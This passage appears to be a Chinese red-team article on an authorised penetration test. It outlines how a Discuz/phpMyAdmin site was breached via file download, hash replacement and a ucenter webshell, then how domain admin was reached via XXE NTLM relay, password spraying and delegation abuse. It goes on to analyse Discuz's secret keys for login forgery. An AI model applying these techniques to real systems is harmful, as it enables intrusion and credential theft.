14px;">本文是由一次真实的授权渗透案例引申而出的技术分析和总结文章。在文章中我们会首先简单介绍这次案例的整体渗透流程并进行部分演绎，但不会进行详细的截图和描述，一是怕“有心人”发现端倪去目标复现漏洞和破坏，二是作为一线攻击人员，大家都明白渗透过程也是一个试错过程，针对某一个点我们可能尝试了无数种方法，最后写入文章的只有成功的一种，而这种方法很有可能也是众所周知的方法。因此我们只会简单介绍渗透流程，然后提取整个渗透过程中比较精华的点，以点及面来进行技术分析和探讨，望不同的人有不同的收获。</span></p><h1 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 2.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.2;cursor: text;padding-bottom: 0.3em;border-bottom: 1px solid rgb(238, 238, 238);width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 24px;">0x01 渗透流程简述</span></h1><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">在接到项目以后，由“前端”小组（初步技术分析小组）进行项目分析和信息收集以及整理，整理出了一批域名和一些关键站点，其中有一个phpmyadmin 和 discuz的组合建站，且均暴露在外网，这也是很常见的一种情况。由于网站某个web端口的解析配置问题导致了php不被解析而形成任意文件下载漏洞，通过这个漏洞我们拿到了mysql的root账户密码。由于linux服务器权限设置比较严格的问题没法直接使用phpmyadmin登录mysql而提权拿到discuz的webshell。经过多种尝试我们利用phpmyadmin替换管理员hash而登录discuz后台，在discuz后台利用修改ucenter配置文件的漏洞写入了webshell。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">在进入内网以后，通过简单的80、443探测内网的web时候发现了一个含有java webdav的服务器（域内windows，后文中以A服务器称呼），利用java webdav的xxe去执行NTLM Relay。同时收集discuz数据库中用户名利用kerberos AS_REQ和密码喷射(一个密码和不同用户名的组合去KDC枚举)幸运的获得了一组域内用户的账户和密码，利用这个用户增加了一个机器账户。结合NTLM Relay和这个机器账户利用基于资源的约束委派，成功的使这个机器账户具有了控制A服务器的权限。登录A服务器绕过卡巴斯基抓取到了域管理密码，这次攻坚任务也因此而结束。图示如下：</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.6016713091922006" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1795" src="https://wechat2rss.xlab.app/img-proxy/?k=02c3d581&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKTwlJ3uZ15dFt7svpF3hY8YLpoYXpibjWwloicS0l9N0Dyd5MkzeGzJyg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><span style="box-sizing: border-box;">在这次渗透流程中我们认为</span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">Discuz x3系列</span></strong><span style="box-sizing: border-box;">和</span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">xxe到域控</span></strong><span style="box-sizing: border-box;">这两个点是值得拿出来分析和探讨的。</span></span></p><h1 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 2.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.2;cursor: text;padding-bottom: 0.3em;border-bottom: 1px solid rgb(238, 238, 238);width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 24px;">0x02 Discuz X3系列</span></h1><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">本节分为3部分，首先将对Discuz X3以后的版本出现的主要漏洞做一个简单总结，然后针对discuz的几种密钥做一些分析，最后发布一个</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">discuz最新的后台getshell</span></code><span style="box-sizing: border-box;font-size: 14px;">。</span></p><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;padding-bottom: 0.3em;border-bottom: 1px solid rgb(255, 191, 0);text-align: center;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 20px;">Discuz X3以后漏洞总结</span></h2><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">目前市面上基本都是x3以上的Discuz程序了，x3以下的网站占比已经非常低了，因此在此只总结x3以上的漏洞。总结并不是对每个漏洞进行重新分析，这是没有必要的，网上已经有很多优秀的分析文章了。那我们为什么还要总结呢？如果你是在一线做渗透测试或者红队评估的同学，应该会经常遇到discuz，往往大部分同学一看程序版本再搜搜漏洞或者群里问问就放弃了。在大家的印象中discuz是一块硬骨头，没必要耗太多时间在它身上，但事实上discuz并不是你所想象的那么安全。本小节将通过总结discuz的各种小漏洞，再结合我们自己的几次对discuz目标的突破，提出一些利用思路和利用可能。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="2.900925925925926" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=84e49560&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKrZpQBtAvpADFUHOebP1k6rbpiaeW3GMsndz2IyhVjyPzTXrbzrddA7g%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">总结：</span></strong></span></p><ul style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;font-size: 14px;"><p><span style="font-size: 14px;"><span style="box-sizing: border-box;">针对于discuz的ssrf漏洞，在</span>补丁<span style="box-sizing: border-box;">中限制了对内网ip的访问，导致了很难被利用。</span></span></p></li><li style="box-sizing: border-box;font-size: 14px;"><p><span style="box-sizing: border-box;font-size: 14px;">在后台getshell中，建议使用uc_center rce比较方便，并且通杀包括最新版本，后文有分析。</span></p></li><li style="box-sizing: border-box;font-size: 14px;"><p><span style="box-sizing: border-box;font-size: 14px;">UC_KEY 直接getshell已在x3以上的最新版本被修复，但在一些老的3.2以前的版本可能被利用。</span></p></li></ul><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">以上这些漏洞应该并不全面，且看似都比较鸡肋，但往往千里之堤毁于蚁穴，几个不起眼的小漏洞组合一下会发现威力巨大。仔细的读者应该发现以上漏洞大部分能够造成的最大危害是</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">信息泄露</span></code><span style="box-sizing: border-box;font-size: 14px;">，信息泄露有什么用呢？下面我们将接着分析</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">Discuz的几种密钥</span></code><span style="box-sizing: border-box;font-size: 14px;">，看到这儿你应该已经明白了，通过</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">信息泄露</span></code><span style="box-sizing: border-box;font-size: 14px;">，获得相关密钥，突破discuz的加密体系，进而获取更高的权限。</span></p><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;padding-bottom: 0.3em;border-bottom: 1px solid rgb(255, 191, 0);text-align: center;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 20px;">Discuz的几种密钥分析</span></h2><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">通过分析，在discuz中,主要有下面的几种密钥, 这些密钥共同构成了discuz的加密解密体系，这里的命名有重复，我已经标记了对应key值以及key所在的位置。如下表所示：</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.46379853095487933" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1906" src="https://wechat2rss.xlab.app/img-proxy/?k=ff6ede75&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmK51oeMyicKIzpovHTfNDvcBsqqFGQx7WEq3JV1bzW9lqZ8M9ohmjDhcQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">主要探讨的其实就只有 </span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">authkey</span></code><span style="box-sizing: border-box;font-size: 14px;">,</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">UC_KEY(dz)</span></code><span style="box-sizing: border-box;font-size: 14px;">,</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">UC_KEY(uc_server)</span></code><span style="box-sizing: border-box;font-size: 14px;">,</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">UC_MYKEY</span></code><span style="box-sizing: border-box;font-size: 14px;">,</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">authkey(uc_server)</span></code><span style="box-sizing: border-box;font-size: 14px;"> 5种,我们首先来看着几个密钥是怎么来的最后又到了哪儿去。</span></p><h3 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 18px;">密钥的产生</span></h3><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">authkey</span></code><span style="box-sizing: border-box;font-size: 14px;">,</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">UC_KEY(dz)</span></code><span style="box-sizing: border-box;font-size: 14px;">,</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">UC_KEY(uc_server)</span></code><span style="box-sizing: border-box;font-size: 14px;">,</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">UC_MYKEY</span></code><span style="box-sizing: border-box;font-size: 14px;"> 都是在安装的时候产生。</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">authkey(uc_server)</span></code><span style="box-sizing: border-box;font-size: 14px;">的产生是和</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">UC_MYKEY</span></code><span style="box-sizing: border-box;font-size: 14px;">息息相关的，在后文中详细讲述。生成代码如下所示：</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="1.0407407407407407" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c2721695&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKFyYO7tsXeyUlpbACiaSFXJgf4vVSw0t4vicnmClyWyVMaBQYaQJhhXLg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">我们看见key的产生都依赖于discuz 自定义的random函数，出现过的</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">authkey</span></code><span style="box-sizing: border-box;font-size: 14px;">爆破问题也因此产生。在安装时由于处于同一个cgi进程，导致mt_rand() 只播种了一次种子，所以产生了随机数种子爆破和推测key的问题，在3.4版本中，</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">authkey</span></code><span style="box-sizing: border-box;font-size: 14px;">的产生已经是拼接了完整的32位字符串，导致了无法进行爆破推算出</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">authkey</span></code><span style="box-sizing: border-box;font-size: 14px;">的前半部，因此这个问题已经被修复，但这个漏洞原理值得学习。代码最后可以看出</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">authkey</span></code><span style="box-sizing: border-box;font-size: 14px;">产生后还放入了数据库中，最终authkey存在于数据库</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">pre_common_setting</span></code><span style="box-sizing: border-box;font-size: 14px;">表和</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">/config/config_global.php</span></code><span style="font-size: 14px;"><span style="box-sizing: border-box;">配置文件。</span> <span style="box-sizing: border-box;">代码中的 instal_uc_server()函数实现了</span></span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">UC_KEY(dz)</span></code><span style="box-sizing: border-box;font-size: 14px;">,</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">UC_KEY(uc_server)</span></code><span style="box-sizing: border-box;font-size: 14px;">的产生，使用了同一个生成函数</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">_generate_key()</span></code><span style="box-sizing: border-box;font-size: 14px;">，代码如下：</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.32754342431761785" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1612" src="https://wechat2rss.xlab.app/img-proxy/?k=cdf03582&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKiaO4efia9mwdsomPyzjh3GeJSL4voZ10qpGwM56dpKDfmkfexn3W0VBA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">产生的算法牵扯到安装环境和安装过程的http header信息，导致爆破基本失效，从而无法预测，最后</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">UC_KEY(dz)</span></code><span style="box-sizing: border-box;font-size: 14px;">保存到了</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">/config/config_ucenter.php</span></code><span style="box-sizing: border-box;font-size: 14px;">中，</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">UC_KEY(uc_server)</span></code><span style="box-sizing: border-box;font-size: 14px;">保存到了</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">/uc_server/data/config.inc.php</span></code><span style="box-sizing: border-box;font-size: 14px;">中。</span></p><h3 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 18px;">Discuz Key的相关思考</span></h3><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">我们通过查看源码，去分析每个key影响的功能，通过这些功能点，我们可以去获得更多的信息。信息的整合和利用往往是我们渗透的关键。下面我们将做一些抛砖引玉的思考并举一些例子，但不会面面俱到一一分析，这样也没有意义，具体的代码还是需要读者自己亲自去读才能印象深刻。</span></p><h4 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 16px;">1. authkey</span></h4><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">authkey的使用在discuz主程序中占比很重，主要用户数据的加密存储和解密使用，比如alipay相关支付数据的存储和使用、FTP密码的存储等等；还用于一些功能的校验，比如验证码的校验、上传hash的校验等等；用户权限的校验也用到了authkey，比如</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">source/class/discuz/discuz_application.php</span></code><span style="box-sizing: border-box;font-size: 14px;"> 中</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">_init_user()</span></code><span style="box-sizing: border-box;font-size: 14px;"> 利用authkey解码了cookie中的auth字段，并利用解开的uid和pw进行权限校验，但是光知道authkey并不能完成权限校验，我们还需要知道用户的”密码hash“(数据库pre_common_member表中的password字段，此处存储的只是一个随机值的md5，真正的用户密码hash在pre_ucenter_members中)，当我们通过其他方法可以读取数据库数据时，我们就可以伪造登陆信息进行登陆，再比如</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">source/include/misc/misc_emailcheck.php</span></code><span style="box-sizing: border-box;font-size: 14px;">中authkey的参与了校验hash的生成，当我们知道了authkey后，通过伪造hash，我们可以修改用户的注册邮箱，然后利用密码找回来登陆前台用户(管理员不能使用密码找回功能)。</span></p><h4 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 16px;">2. UC_KEY(dz)</span></h4><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: 